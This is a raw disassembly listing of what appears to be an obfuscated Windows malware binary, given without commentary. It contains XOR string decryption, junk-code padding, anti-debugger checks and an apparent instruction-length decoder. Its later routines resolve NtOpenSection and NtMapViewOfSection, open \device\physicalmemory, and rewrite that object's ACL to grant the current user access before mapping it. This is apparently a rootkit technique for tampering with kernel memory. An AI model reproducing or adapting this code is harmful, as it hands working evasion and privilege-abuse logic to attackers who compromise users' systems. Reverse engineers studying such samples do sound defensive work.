		cmp	eax, 0DCFh
		jle	short loc_401A2C
		and	dword_43B298, 0

loc_401A2C:				; CODE XREF: .text:00401A23j
		lea	eax, dword_433000[edi]
		pop	edi
		pop	esi
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A36	proc near		; CODE XREF: sub_405601+4Ap
					; sub_4062CD+470p ...

var_1D		= byte ptr -1Dh
var_1C		= dword	ptr -1Ch
var_15		= dword	ptr -15h
var_11		= byte ptr -11h
var_10		= byte ptr -10h
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_9]
		lea	esi, byte_43B29C
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	0
		push	80h
		push	3
		push	0
		push	3
		push	80000000h
		push	[ebp+arg_0]
		call	sub_40C67C	; CreateFileA
		mov	ebx, eax
		call	sub_40C508	; GetCurrentProcessId
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_401AA2
		mov	[ebp+var_1C], 0D77h
		mov	eax, [ebp+var_1C]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_1C], edx
		cmp	[ebp+arg_4], 0
		jz	short loc_401A90
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0

loc_401A90:				; CODE XREF: sub_401A36+52j
		lea	edi, [ebp+var_1D]
		lea	esi, byte_43B29D
		xor	ecx, ecx
		inc	ecx
		rep movsb
		xor	eax, eax
		jmp	short loc_401B0C
; ---------------------------------------------------------------------------

loc_401AA2:				; CODE XREF: sub_401A36+3Bj
		push	0
		push	ebx
		call	sub_40C520	; GetFileSize
		mov	[ebp+var_4], eax
		call	sub_40C538	; RtlGetLastWin32Error
		mov	eax, [ebp+var_4]
		add	eax, 10h
		push	eax
		push	40h
		call	sub_40C64C	; LocalAlloc
		mov	[ebp+var_8], eax
		call	sub_40C634	; IsDebuggerPresent
		push	0
		cmp	[ebp+arg_4], 0
		jz	short loc_401AD8
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		jmp	short loc_401ADE
; ---------------------------------------------------------------------------

loc_401AD8:				; CODE XREF: sub_401A36+98j
		lea	eax, [ebp+var_10]
		mov	[ebp+var_1C], eax

loc_401ADE:				; CODE XREF: sub_401A36+A0j
		push	[ebp+var_1C]
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_40C688	; ReadFile
		lea	edi, [ebp+var_11]
		lea	esi, byte_43B29E
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	ebx
		call	sub_40C55C	; CloseHandle
		mov	eax, dword_43B29F
		mov	[ebp+var_15], eax
		mov	eax, [ebp+var_8]

loc_401B0C:				; CODE XREF: sub_401A36+6Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401A36	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 16Eh
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43B2AC
		lea	eax, ds:410850h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 17Eh
		xor	edi, edi
		jmp	short loc_401B5D
; ---------------------------------------------------------------------------

loc_401B46:				; CODE XREF: .text:00401B5Fj
		mov	eax, dword_43B2AC
		add	eax, edi
		lea	eax, ds:410850h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 73h
		mov	[eax], dl
		inc	edi

loc_401B5D:				; CODE XREF: .text:00401B44j
		cmp	edi, esi
		jl	short loc_401B46
		mov	eax, dword_43B2AC
		add	eax, esi
		mov	byte ptr ds:dword_410850[eax], 0
		mov	edi, dword_43B2AC
		mov	eax, edi
		add	eax, 3
		add	eax, esi
		mov	dword_43B2AC, eax
		cmp	eax, 0DBBh
		jle	short loc_401B90
		and	dword_43B2AC, 0

loc_401B90:				; CODE XREF: .text:00401B87j
		lea	eax, dword_410850[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B9A	proc near		; CODE XREF: sub_405601+66Ap
					; sub_409847+D36p

var_A		= byte ptr -0Ah
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		call	sub_40C538	; RtlGetLastWin32Error
		mov	[ebp+var_2], 4231h
		inc	[ebp+var_2]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_401C0E
; ---------------------------------------------------------------------------

loc_401BB7:				; CODE XREF: sub_401B9A+7Bj
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 0Dh
		jnz	short loc_401C0D
		lea	edi, [ebp+var_A]
		lea	esi, aRrQa	; "rr/+Q�"
		mov	ecx, 7
		rep movsb
		mov	eax, [ebp+arg_4]
		mov	edx, ebx
		sub	edx, eax
		push	edx
		mov	edx, [ebp+arg_0]
		add	edx, eax
		push	edx
		push	[ebp+arg_8]
		call	sub_40C9F4
		add	esp, 0Ch
		mov	[ebp+var_3], 0DEh
		movzx	eax, [ebp+var_3]
		imul	eax, 6325h
		mov	[ebp+var_3], al
		mov	eax, ebx
		sub	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		mov	byte ptr [edx+eax], 0
		mov	eax, ebx
		add	eax, 2
		jmp	short loc_401C7E
; ---------------------------------------------------------------------------

loc_401C0D:				; CODE XREF: sub_401B9A+24j
		inc	ebx

loc_401C0E:				; CODE XREF: sub_401B9A+1Bj
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 0
		jnz	short loc_401BB7
		cmp	[ebp+arg_4], 0
		jz	short loc_401C43
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 0
		jnz	short loc_401C43
		mov	eax, ebx
		dec	eax
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 0Ah
		jnz	short loc_401C43
		call	sub_40C634	; IsDebuggerPresent
		mov	eax, [ebp+arg_8]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		inc	eax
		jmp	short loc_401C7E
; ---------------------------------------------------------------------------

loc_401C43:				; CODE XREF: sub_401B9A+81j
					; sub_401B9A+8Aj ...
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_40C73C	; lstrlen
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_401C7C
		call	sub_40C5A4	; GetVersion
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_8]
		call	sub_40C4B8
		mov	word ptr [ebp-4], 33AEh
		sub	word ptr [ebp-4], 32B9h
		mov	eax, [ebp+arg_4]
		add	eax, ebx
		jmp	short loc_401C7E
; ---------------------------------------------------------------------------

loc_401C7C:				; CODE XREF: sub_401B9A+B9j
		xor	eax, eax

loc_401C7E:				; CODE XREF: sub_401B9A+71j
					; sub_401B9A+A7j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401B9A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43B2C0
		lea	eax, ds:436120h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_401CC3
; ---------------------------------------------------------------------------

loc_401CA9:				; CODE XREF: .text:00401CC5j
		mov	eax, dword_43B2C0
		add	eax, edi
		lea	eax, ds:436120h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0A7h
		mov	[eax], dl
		inc	edi

loc_401CC3:				; CODE XREF: .text:00401CA7j
		cmp	edi, esi
		jl	short loc_401CA9
		mov	eax, dword_43B2C0
		add	eax, esi
		mov	byte ptr ds:dword_436120[eax], 0
		xor	edi, edi
		mov	edi, dword_43B2C0
		mov	eax, edi
		add	eax, 3
		add	eax, esi
		mov	dword_43B2C0, eax
		inc	dword_43B2C0
		cmp	dword_43B2C0, 0DC7h
		jle	short loc_401D03
		and	dword_43B2C0, 0

loc_401D03:				; CODE XREF: .text:00401CFAj
		mov	dword ptr [ebp-4], 347h
		lea	eax, dword_436120[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D14	proc near		; CODE XREF: sub_4028A6+5Dp

var_20		= dword	ptr -20h
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_B		= byte ptr -0Bh
var_4		= word ptr -4
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1], 60h
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al
		inc	dword_43B228
		mov	[ebp+var_4], 1DB7h
		movzx	eax, [ebp+var_4]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_4], ax
		mov	ebx, [ebp+arg_0]
		and	ds:dword_40E00C, 0
		and	ds:dword_41DA70, 0
		and	ds:dword_41DA88, 0
		and	ds:dword_40F268, 0
		mov	ds:dword_41A860, 4
		mov	ds:dword_413F84, 4

loc_401D7B:				; CODE XREF: sub_401D14+154j
					; sub_401D14+175j ...
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	ds:byte_413F80,	al
		movzx	eax, ds:byte_413F80
		or	eax, eax
		jl	loc_40200C
		cmp	eax, 0FFh
		jg	loc_40200C
		jmp	off_43B2D4[eax*4]
; ---------------------------------------------------------------------------
		lea	edi, [ebp+var_19]
		lea	esi, aL2r6_	; "l2r-6;."
		movsd
		movsd

loc_401DB1:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		or	byte ptr ds:dword_41DA70, 40h
		lea	edi, [ebp+var_1A]
		lea	esi, byte_43B2CC
		xor	ecx, ecx
		inc	ecx
		rep movsb
		jmp	loc_40200C
; ---------------------------------------------------------------------------
		inc	dword_43B228

loc_401DD1:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		xor	eax, eax
		cmp	byte ptr [ebx],	20h
		setnz	al
		dec	eax
		and	eax, 4
		inc	eax
		mov	[ebp+var_20], eax
		add	ds:dword_41DA88, eax
		jmp	loc_40200C
; ---------------------------------------------------------------------------

loc_401DEC:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		or	byte ptr ds:dword_41DA70, 40h
		test	byte ptr [ebx],	38h
		jnz	loc_40200C
		call	sub_40C598	; GetTickCount

loc_401E01:				; CODE XREF: sub_401D14+8Bj
					; DATA XREF: .data:0043B2E4o ...
		test	ds:byte_413F80,	1
		jz	short loc_401E1A
		mov	eax, ds:dword_41A860
		add	ds:dword_41DA88, eax
		jmp	loc_40200C
; ---------------------------------------------------------------------------

loc_401E1A:				; CODE XREF: sub_401D14+F4j
		inc	ds:dword_41DA88
		jmp	loc_40200C
; ---------------------------------------------------------------------------

loc_401E25:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		inc	ds:dword_41DA88
		jmp	loc_40200C
; ---------------------------------------------------------------------------
		inc	dword_43B228

loc_401E36:				; CODE XREF: sub_401D14+8Bj
					; DATA XREF: .data:0043B36Co ...
		test	byte ptr ds:dword_41DA70, 10h
		jz	short loc_401E46
		xor	eax, eax
		jmp	loc_402199
; ---------------------------------------------------------------------------

loc_401E46:				; CODE XREF: sub_401D14+129j
		mov	[ebp+var_11], 7Dh
		movzx	eax, [ebp+var_11]
		imul	eax, 46DCh
		mov	[ebp+var_11], al
		or	byte ptr ds:dword_41DA70, 10h
		mov	al, ds:byte_413F80
		mov	ds:byte_40F274,	al
		jmp	loc_401D7B
; ---------------------------------------------------------------------------

loc_401E6D:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		test	byte ptr ds:dword_41DA70, 4
		jz	short loc_401E7D
		xor	eax, eax
		jmp	loc_402199
; ---------------------------------------------------------------------------

loc_401E7D:				; CODE XREF: sub_401D14+160j
		call	sub_40C5A4	; GetVersion
		or	byte ptr ds:dword_41DA70, 4
		jmp	loc_401D7B
; ---------------------------------------------------------------------------

loc_401E8E:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		test	byte ptr ds:dword_41DA70, 8
		jz	short loc_401E9E
		xor	eax, eax
		jmp	loc_402199
; ---------------------------------------------------------------------------

loc_401E9E:				; CODE XREF: sub_401D14+181j
		call	sub_40C538	; RtlGetLastWin32Error
		or	byte ptr ds:dword_41DA70, 8
		mov	al, ds:byte_413F80
		mov	ds:byte_41EB80,	al
		jmp	loc_401D7B
; ---------------------------------------------------------------------------

loc_401EB9:				; CODE XREF: sub_401D14+8Bj
					; DATA XREF: .data:0043B46Co
		test	byte ptr ds:dword_41DA70, 1
		jz	short loc_401EC9
		xor	eax, eax
		jmp	loc_402199
; ---------------------------------------------------------------------------

loc_401EC9:				; CODE XREF: sub_401D14+1ACj
		call	sub_40C598	; GetTickCount
		or	byte ptr ds:dword_41DA70, 1
		mov	ds:dword_41A860, 2
		jmp	loc_401D7B
; ---------------------------------------------------------------------------

loc_401EE4:				; CODE XREF: sub_401D14+8Bj
					; DATA XREF: .data:0043B470o
		test	byte ptr ds:dword_41DA70, 2
		jz	short loc_401EF4
		xor	eax, eax
		jmp	loc_402199
; ---------------------------------------------------------------------------

loc_401EF4:				; CODE XREF: sub_401D14+1D7j
		or	byte ptr ds:dword_41DA70, 2
		mov	ds:dword_413F84, 2
		jmp	loc_401D7B
; ---------------------------------------------------------------------------
		inc	dword_43B228

loc_401F10:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		inc	ds:dword_41DA88
		or	byte ptr ds:dword_41DA70, 40h
		jmp	loc_40200C
; ---------------------------------------------------------------------------

loc_401F22:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		mov	eax, ds:dword_41A860
		add	ds:dword_41DA88, eax
		or	byte ptr ds:dword_41DA70, 40h
		jmp	loc_40200C
; ---------------------------------------------------------------------------

loc_401F39:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		mov	eax, ds:dword_41A860
		add	eax, 2
		add	ds:dword_41DA88, eax
		jmp	loc_40200C
; ---------------------------------------------------------------------------

loc_401F4C:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		mov	eax, ds:dword_413F84
		add	ds:dword_40F268, eax
		jmp	loc_40200C
; ---------------------------------------------------------------------------

loc_401F5C:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		mov	eax, ds:dword_41A860
		add	ds:dword_41DA88, eax
		jmp	loc_40200C
; ---------------------------------------------------------------------------
		inc	dword_43B228

loc_401F72:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		add	ds:dword_41DA88, 2
		jmp	loc_40200C
; ---------------------------------------------------------------------------

loc_401F7E:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		add	ds:dword_41DA88, 3
		jmp	loc_40200C
; ---------------------------------------------------------------------------

loc_401F8A:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+2B3j
					; DATA XREF: ...
		xor	eax, eax
		jmp	loc_402199
; ---------------------------------------------------------------------------

loc_401F91:				; CODE XREF: sub_401D14+8Bj
					; DATA XREF: .data:0043B310o
		or	byte ptr ds:dword_41DA70, 20h
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	ds:byte_42EB90,	al
		movzx	eax, ds:byte_42EB90
		or	eax, eax
		jl	short loc_402005
		cmp	eax, 0Bh
		jg	short loc_401FB9
		jmp	off_43B6D4[eax*4]
; ---------------------------------------------------------------------------

loc_401FB9:				; CODE XREF: sub_401D14+29Cj
		cmp	eax, 80h
		jl	short loc_402005
		cmp	eax, 0CFh
		jg	short loc_402005
		jmp	off_43B504[eax*4]
; ---------------------------------------------------------------------------
		call	sub_40C514	; GetCurrentThreadId

loc_401FD3:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+29Ej ...
		or	byte ptr ds:dword_41DA70, 40h
		call	sub_40C514	; GetCurrentThreadId
		jmp	short loc_40200C
; ---------------------------------------------------------------------------
		inc	dword_43B228
		jmp	short loc_40200C
; ---------------------------------------------------------------------------

loc_401FE9:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+29Ej ...
		mov	eax, ds:dword_41A860
		add	ds:dword_41DA88, eax
		jmp	short loc_40200C
; ---------------------------------------------------------------------------

loc_401FF6:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+29Ej ...
		inc	ds:dword_41DA88
		or	byte ptr ds:dword_41DA70, 40h
		jmp	short loc_40200C
; ---------------------------------------------------------------------------

loc_402005:				; CODE XREF: sub_401D14+8Bj
					; sub_401D14+297j ...
		xor	eax, eax
		jmp	loc_402199
; ---------------------------------------------------------------------------

loc_40200C:				; CODE XREF: sub_401D14+7Aj
					; sub_401D14+85j ...
		inc	dword_43B228
		test	byte ptr ds:dword_41DA70, 40h
		jz	loc_40211A
		call	sub_40C538	; RtlGetLastWin32Error
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	ds:byte_42FCFC,	al
		call	sub_40C598	; GetTickCount
		movzx	eax, ds:byte_42FCFC
		and	eax, 0C0h
		mov	[ebp+var_11], al
		movzx	eax, ds:byte_42FCFC
		and	eax, 7
		mov	[ebp+var_12], al
		movzx	eax, [ebp+var_11]
		cmp	eax, 0C0h
		jz	loc_40211A
		mov	[ebp+var_13], 0A5h
		movzx	eax, [ebp+var_13]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_13], al
		cmp	[ebp+var_11], 40h
		jnz	short loc_40207B
		inc	ds:dword_40F268

loc_40207B:				; CODE XREF: sub_401D14+35Fj
		call	sub_40C514	; GetCurrentThreadId
		movzx	eax, [ebp+var_11]
		cmp	eax, 80h
		jnz	short loc_402096
		mov	eax, ds:dword_413F84
		add	ds:dword_40F268, eax

loc_402096:				; CODE XREF: sub_401D14+375j
		mov	[ebp+var_18], 4587h
		mov	eax, [ebp+var_18]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_18], edx
		cmp	ds:dword_413F84, 2
		jnz	short loc_4020CA
		call	sub_40C508	; GetCurrentProcessId
		cmp	[ebp+var_11], 0
		jnz	short loc_40211A
		cmp	[ebp+var_12], 6
		jnz	short loc_40211A
		add	ds:dword_40F268, 2
		jmp	short loc_40211A
; ---------------------------------------------------------------------------

loc_4020CA:				; CODE XREF: sub_401D14+39Aj
		call	sub_40C514	; GetCurrentThreadId
		cmp	[ebp+var_12], 4
		jnz	short loc_402102
		mov	dword ptr [ebp-1Ch], 2A45h
		inc	dword ptr [ebp-1Ch]
		or	byte ptr ds:dword_41DA70, 80h
		call	sub_40C514	; GetCurrentThreadId
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	ds:byte_41A85C,	al
		movzx	eax, ds:byte_41A85C
		and	eax, 7
		mov	[ebp+var_12], al

loc_402102:				; CODE XREF: sub_401D14+3BFj
		cmp	[ebp+var_12], 5
		jnz	short loc_402115
		cmp	[ebp+var_11], 0
		jnz	short loc_402115
		add	ds:dword_40F268, 4

loc_402115:				; CODE XREF: sub_401D14+3F2j
					; sub_401D14+3F8j
		call	sub_40C5A4	; GetVersion

loc_40211A:				; CODE XREF: sub_401D14+305j
					; sub_401D14+344j ...
		and	ds:dword_40F26C, 0
		jmp	short loc_40213B
; ---------------------------------------------------------------------------

loc_402123:				; CODE XREF: sub_401D14+432j
		mov	eax, ebx
		inc	ebx
		mov	edx, ds:dword_40F26C
		mov	al, [eax]
		mov	ds:byte_413F78[edx], al
		inc	ds:dword_40F26C

loc_40213B:				; CODE XREF: sub_401D14+40Dj
		mov	eax, ds:dword_40F268
		cmp	ds:dword_40F26C, eax
		jb	short loc_402123
		lea	edi, [ebp+var_B]
		lea	esi, aF50z	; "F 5 0z"
		mov	ecx, 7
		rep movsb
		and	ds:dword_40F26C, 0
		jmp	short loc_402179
; ---------------------------------------------------------------------------

loc_402161:				; CODE XREF: sub_401D14+470j
		mov	eax, ebx
		inc	ebx
		mov	edx, ds:dword_40F26C
		mov	al, [eax]
		mov	ds:byte_439330[edx], al
		inc	ds:dword_40F26C

loc_402179:				; CODE XREF: sub_401D14+44Bj
		mov	eax, ds:dword_41DA88
		cmp	ds:dword_40F26C, eax
		jb	short loc_402161
		inc	dword_43B228
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		mov	ds:dword_40E00C, eax
		xor	eax, eax
		inc	eax

loc_402199:				; CODE XREF: sub_401D14+12Dj
					; sub_401D14+164j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401D14	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 1F7h
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43BF3C
		lea	eax, ds:417640h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4021E7
; ---------------------------------------------------------------------------

loc_4021CD:				; CODE XREF: .text:004021E9j
		mov	eax, dword_43BF3C
		add	eax, edi
		lea	eax, ds:417640h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 88h
		mov	[eax], dl
		inc	edi

loc_4021E7:				; CODE XREF: .text:004021CBj
		cmp	edi, esi
		jl	short loc_4021CD
		mov	dword ptr [ebp-8], 182h
		mov	eax, dword_43BF3C
		add	eax, esi
		mov	byte ptr ds:dword_417640[eax], 0
		xor	edi, edi
		mov	edi, dword_43BF3C
		add	dword_43BF3C, 3
		mov	eax, dword_43BF3C
		inc	eax
		add	eax, esi
		mov	dword_43BF3C, eax
		cmp	eax, 0E06h
		jle	short loc_40222B
		and	dword_43BF3C, 0

loc_40222B:				; CODE XREF: .text:00402222j
		mov	dword ptr [ebp-0Ch], 1D5h
		lea	eax, dword_417640[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40223C	proc near		; CODE XREF: sub_402A4D+1Ep

var_A		= byte ptr -0Ah
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		call	sub_40C634	; IsDebuggerPresent
		push	offset aNtdll_dll ; "ntdll.dll"
		call	sub_40C550	; GetModuleHandleA
		mov	ebx, eax
		lea	edi, [ebp+var_A]
		lea	esi, aA_utc2	; "�_utc*2"
		movsd
		movsd
		push	offset aRtlinitunicode ; "RtlInitUnicodeString"
		push	ebx
		call	sub_40C568	; GetProcAddress
		mov	ds:dword_42FCF4, eax
		call	sub_40C634	; IsDebuggerPresent
		push	offset aNtunmapviewofs ; "NtUnmapViewOfSection"
		push	ebx
		call	sub_40C568	; GetProcAddress
		mov	ds:dword_41C954, eax
		call	sub_40C538	; RtlGetLastWin32Error
		push	offset aNtopensection ;	"NtOpenSection"
		push	ebx
		call	sub_40C568	; GetProcAddress
		mov	ds:dword_41A868, eax
		mov	[ebp+var_2], 2FA0h
		sub	[ebp+var_2], 63DAh
		push	offset aNtmapviewofsec ; "NtMapViewOfSection"
		push	ebx
		call	sub_40C568	; GetProcAddress
		mov	ds:dword_41DA80, eax
		push	offset aRtlntstatustod ; "RtlNtStatusToDosError"
		push	ebx
		call	sub_40C568	; GetProcAddress
		mov	ds:dword_42FCF0, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40223C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022CC	proc near		; CODE XREF: sub_402A4D+16Ap

var_88		= byte ptr -88h
var_81		= byte ptr -81h
var_79		= dword	ptr -79h
var_75		= byte ptr -75h
var_6D		= byte ptr -6Dh
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_58		= byte ptr -58h
var_57		= byte ptr -57h
var_56		= word ptr -56h
var_53		= byte ptr -53h
var_52		= word ptr -52h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_53], 0B5h
		movzx	eax, [ebp+var_53]
		imul	eax, 5810h
		mov	[ebp+var_53], al
		lea	edi, [ebp+var_6D]
		lea	esi, aHgtr	; "hgtr"
		mov	ecx, 5
		rep movsb
		push	offset aDevicePhysical ; "\\device\\physicalmemory"
		lea	eax, [ebp+var_60]
		push	eax
		call	ds:dword_42FCF4
		lea	edi, [ebp+var_75]
		lea	esi, aQOkgoj	; "Q!okgOJ"
		movsd
		movsd
		mov	[ebp+var_18], 18h
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_60]
		mov	[ebp+var_10], eax
		call	sub_40C514	; GetCurrentThreadId
		mov	[ebp+var_C], 40h
		mov	eax, dword_43C00F
		mov	[ebp+var_79], eax
		and	[ebp+var_8], 0
		call	sub_40C508	; GetCurrentProcessId
		and	[ebp+var_4], 0
		mov	[ebp+var_56], 58E2h
		inc	[ebp+var_56]
		and	[ebp+var_30], 0
		mov	[ebp+var_52], 721Bh
		movzx	eax, [ebp+var_52]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_52], ax
		and	[ebp+var_2C], 0
		lea	edi, [ebp+var_81]
		lea	esi, aXghyb_v	; "X�hyb.�"
		mov	ecx, 2
		rep movsd
		mov	[ebp+var_28], 1
		mov	[ebp+var_57], 71h
		sub	[ebp+var_57], 0F4h
		mov	[ebp+var_24], 1
		lea	eax, aCurrent_user ; "CURRENT_USER"
		mov	[ebp+var_20], eax
		mov	[ebp+var_50], 2
		call	sub_40C634	; DATA XREF: sub_43F401+2Fo
		mov	[ebp+var_4C], 1
		call	sub_40C514	; GetCurrentThreadId
		and	[ebp+var_48], 0
		mov	[ebp+var_58], 74h
		add	[ebp+var_58], 1
		lea	edi, [ebp+var_44]
		lea	esi, [ebp+var_30]
		mov	ecx, 5
		rep movsd
		call	sub_40C574	; GetProcessHeap
		lea	eax, [ebp+var_18]
		push	eax
		push	60000h
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_41A868
		mov	ebx, 762Dh
		inc	ebx
		lea	eax, [ebp+var_88]
		push	eax
		push	0
		lea	eax, [ebp+var_64]
		push	eax
		push	0
		push	0
		push	4
		push	6
		push	[ebp+var_1C]
		call	sub_40C958	; GetSecurityInfo
		call	sub_40C5A4	; GetVersion
		lea	eax, [ebp+var_68]
		push	eax
		push	[ebp+var_64]
		lea	eax, [ebp+var_50]
		push	eax
		mov	eax, 0Bh
		sub	eax, dword_43BF38
		push	eax
		call	sub_40C970	; SetEntriesInAclA
		call	sub_40C514	; GetCurrentThreadId
		push	0
		push	[ebp+var_68]
		push	0
		push	0
		push	4
		push	6
		push	[ebp+var_1C]
		call	sub_40C964	; SetSecurityInfo
		push	[ebp+var_1C]
		call	sub_40C55C	; CloseHandle
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_50]
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_41A868
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4022CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402465	proc near		; CODE XREF: sub_402A4D+265p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		call	sub_40C508	; GetCurrentProcessId
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		and	[ebp+var_8], 0
		call	sub_40C598	; GetTickCount
		mov	eax, [ebp+var_C]
		xor	edx, edx
		mov	[ebp+var_10], edx
		mov	[ebp+var_14], eax
		call	sub_40C514	; GetCurrentThreadId
		push	4
		push	0
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_4]
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	ds:dword_41DA80
		call	sub_40C508	; GetCurrentProcessId
